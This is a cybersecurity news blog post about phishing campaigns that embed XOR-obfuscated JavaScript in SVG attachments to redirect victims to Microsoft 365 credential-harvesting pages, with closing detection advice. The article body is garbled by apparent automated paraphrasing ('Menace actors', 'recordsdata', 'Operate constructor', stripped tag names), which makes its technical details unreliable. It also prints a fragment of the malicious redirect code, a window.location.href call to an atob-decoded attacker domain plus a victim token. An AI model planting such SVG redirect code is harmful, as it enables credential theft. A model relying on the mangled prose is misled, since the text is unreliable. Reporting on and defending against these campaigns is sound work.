Skip to content
  • Blog Home
  • Cyber Map
  • About Us – Contact
  • Disclaimer
  • Terms and Rules
  • Privacy Policy
Cyber Web Spider Blog – News

Cyber Web Spider Blog – News

Globe Threat Map provides a real-time, interactive 3D visualization of global cyber threats. Monitor DDoS attacks, malware, and hacking attempts with geo-located arcs on a rotating globe. Stay informed with live logs and archive stats.

  • Home
  • Cyber Map
  • Cyber Security News
  • Security Week News
  • The Hacker News
  • How To?
  • Toggle search form

Threat Actors Weaponizing SVG Files to Embed Malicious JavaScript

Posted on July 17, 2025July 17, 2025 By CWS

Menace actors are quietly turning Scalable Vector Graphics (SVG) recordsdata into precision-guided malware. In a surge of phishing campaigns, seemingly innocuous .svg attachments slip previous safe electronic mail gateways as a result of mail filters regard them as static photographs.

As soon as the recipient merely previews the file, hidden JavaScript executes contained in the browser, triggering an invisible redirect chain that funnels victims to attacker infrastructure.

The Recipient’s perspective (Supply – Ontinue)

The lure emails are minimalist—usually a single icon or “Missed Name” teaser—and exploit organisations which have weak SPF, DKIM or DMARC enforcement.

Because the attachments bypass signature checks, the primary line of defence fails; Ontinue analysts recognized the wave after correlating near-identical SVGs despatched to B2B service suppliers and SaaS distributors, all containing distinct Base64 monitoring strings that map every click on to a workstation.

Since no executable is dropped, endpoint brokers see solely regular browser exercise whereas credentials are siphoned off on well-crafted Microsoft 365 look-alike portals.

Typical M365 Credential Phishing (Supply – Ontinue)

Past credential theft, the method exemplifies a broader strategic pivot: adversaries more and more weaponise file codecs that browsers render natively, eradicating the social-engineering friction of persuading customers to run macros or installers.

Safety controls that target executables, archives or scripts alone discover themselves blind to those pixel-perfect stings.

An infection Mechanism: Self-Decoding JavaScript Smuggling

Every malicious SVG embeds an obfuscated payload between “ tags. A ten-byte XOR key masks the script, irritating static scanners, whereas a two-stage routine reconstructs the redirect at runtime.

First, a brief operate iterates by the encrypted blob, returning plaintext; then it leverages the Operate constructor to execute that code solely in reminiscence.

The revived script concatenates an atob()-decoded area with a victim-specific token earlier than forcing navigation:-

window.location.href = atob(
‘aHR0cHM6Ly93dnJ6LmxmdGt2b2cubmV0L…’ // area rotates day by day
) + token;

As nothing is written to disk, persistence is irrelevant, and geofencing logic ensures sandboxes exterior the goal area obtain benign pages.

Detecting the risk due to this fact hinges on deep content material inspection that flags script tags inside picture recordsdata or on correlating uncommon .svg command-line invocations with electronic mail telemetry.

Till such controls mature, organisations ought to quarantine unsolicited SVGs, allow content material disarm and reconstruction, and transfer DMARC insurance policies from monitoring to reject.

Enhance detection, cut back alert fatigue, speed up response; all with an interactive sandbox constructed for safety groups -> Strive ANY.RUN Now

Cyber Security News Tags:Actors, Embed, Files, JavaScript, Malicious, SVG, Threat, Weaponizing

Post navigation

Previous Post: Cisco Patches Another Critical ISE Vulnerability
Next Post: VMware Flaws That Earned Hackers $340,000 at Pwn2Own Patched

Related Posts

South Asian APT Hackers Using Novel Tools to Compromise Phones of Military-Adjacent Members Cyber Security News
New Malware Using Azure Functions For Hosting Command And Control Infrastructure Cyber Security News
Android 16 Comes with Advanced Device-level Security Setting Protection for 3 Billion Devices Cyber Security News
5 Immediate Steps to be Followed After Clicking on a Malicious Link Cyber Security News
SmartLoader Malware via Github Repository as Legitimate Projects Infection Users Computer Cyber Security News
Gujarat Teen Behind 50+ Cyberattacks During ‘Operation Sindoor’ Arrested Cyber Security News

Categories

  • Cyber Security News
  • How To?
  • Security Week News
  • The Hacker News

Recent Posts

  • Five New Exploited Bugs Land in CISA’s Catalog — Oracle and Microsoft Among Targets
  • South Korea Seeks to Arrest Dozens of Online Scam Suspects Repatriated From Cambodia
  • Dolby Digital Plus 0-Click Vulnerability Enables RCE Attack via Malicious Audio on Android
  • AWS Outage Impacts Amazon, Snapchat, Prime Video, Canva and More
  • SIM Farm Dismantled in Europe, Seven Arrested

Pages

  • About Us – Contact
  • Disclaimer
  • Privacy Policy
  • Terms and Rules

Archives

  • October 2025
  • September 2025
  • August 2025
  • July 2025
  • June 2025
  • May 2025

Recent Posts

  • Five New Exploited Bugs Land in CISA’s Catalog — Oracle and Microsoft Among Targets
  • South Korea Seeks to Arrest Dozens of Online Scam Suspects Repatriated From Cambodia
  • Dolby Digital Plus 0-Click Vulnerability Enables RCE Attack via Malicious Audio on Android
  • AWS Outage Impacts Amazon, Snapchat, Prime Video, Canva and More
  • SIM Farm Dismantled in Europe, Seven Arrested

Pages

  • About Us – Contact
  • Disclaimer
  • Privacy Policy
  • Terms and Rules

Categories

  • Cyber Security News
  • How To?
  • Security Week News
  • The Hacker News